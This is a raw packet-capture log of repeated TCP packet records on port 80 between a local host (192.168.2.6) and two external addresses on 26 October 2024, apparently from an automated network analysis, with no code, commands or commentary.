Oct 26, 2024 07:27:11.917136908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917149067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917160988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917166948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917196035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917208910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917224884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917241096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917256117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917279005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917282104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917298079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917304039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917314053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917329073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917331934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917344093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917347908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917359114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917371988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917377949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917387962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917391062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917408943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917412996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917424917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917426109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917442083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917444944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917460918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917465925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917480946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917484045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917499065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917505980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917512894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917515993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917534113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917538881 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917550087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917552948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917566061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917566061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917588949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917592049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917609930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917615891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917623043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917627096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917643070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917649031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917659044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917664051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917676926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917678118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917686939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917692900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917707920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917714119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917726040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917726994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917747021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917761087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917870998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917885065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917906046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917921066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917921066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917937994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917944908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917952061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917954922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917973042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917975903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917988062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917989969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918003082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918009996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918020010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918029070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918044090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918045044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918061018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918062925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918085098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918097973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918097973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918100119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918116093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918118000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918133020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918139935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918148994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918149948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918165922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918169022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918178082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918200970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918255091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918267965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918282986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918292046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918298960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918314934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918314934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918332100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918334961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918344021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918351889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918373108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918375969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918391943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918406010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918415070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918415070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918421984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918431997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918445110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918457985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918668985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918772936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918796062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918811083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918812990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918828011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918836117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918853998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918862104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918873072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918879986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918891907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918895006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918909073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918909073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918929100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918932915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918943882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918952942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918965101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.918968916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.918988943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919001102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919008017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919017076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919033051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919039965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919054985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919059038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919069052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919075966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919097900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919106960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919109106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919122934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919130087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919141054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919153929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919172049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919186115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919207096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919214964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919214964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919224977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919240952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919245005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919245005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919266939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919282913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919409037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919436932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919466972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919481993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919482946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919503927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919506073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919509888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919514894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919531107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919532061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919559956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919580936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919605017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919620037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919632912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919644117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919644117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919656038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919660091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919671059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919687033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919687986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919703007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919712067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919727087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919735909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919742107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919744968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919765949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919768095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919781923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919786930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919797897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919797897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919820070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919822931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919835091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919837952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919852018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919858932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919872046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919874907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919887066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919893980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919903994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919905901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919923067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919924974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919939041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.919945002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919954062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.919977903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921248913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921264887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921287060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921303034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921303988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921314955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921319008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921340942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921344042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921363115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921366930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921376944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921391010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921391964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921407938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921408892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921418905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921427965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921438932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921443939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921458006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921461105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921468973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921478987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921488047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921502113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921521902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921580076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921596050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921612024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921628952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921636105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921653986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921664000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921669960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921685934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921701908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921705008 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921717882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921720028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921732903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921746016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921750069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921767950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.921768904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921776056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921794891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.921803951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923629045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923644066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923659086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923682928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923691988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923698902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923712015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923715115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923731089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923742056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923768044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923769951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923785925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923800945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923818111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923826933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923835039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923841000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923851013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923865080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923866034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923885107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923907995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923918962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923933983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923949003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923965931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923974037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.923981905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.923998117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.924005032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.924014091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.924021006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.924031019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.924047947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.924068928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.033137083 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:12.036973000 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:12.118606091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.119129896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.124164104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124174118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124191046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124222994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.124248981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.124702930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124711990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124721050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124754906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.124773026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124780893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.124789000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124799967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124814987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124842882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.124866962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.124928951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124938965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124947071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124955893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124969006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.124970913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124980927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.124994040 CEST	49991	80	192.168.2.6	185.215.113.84
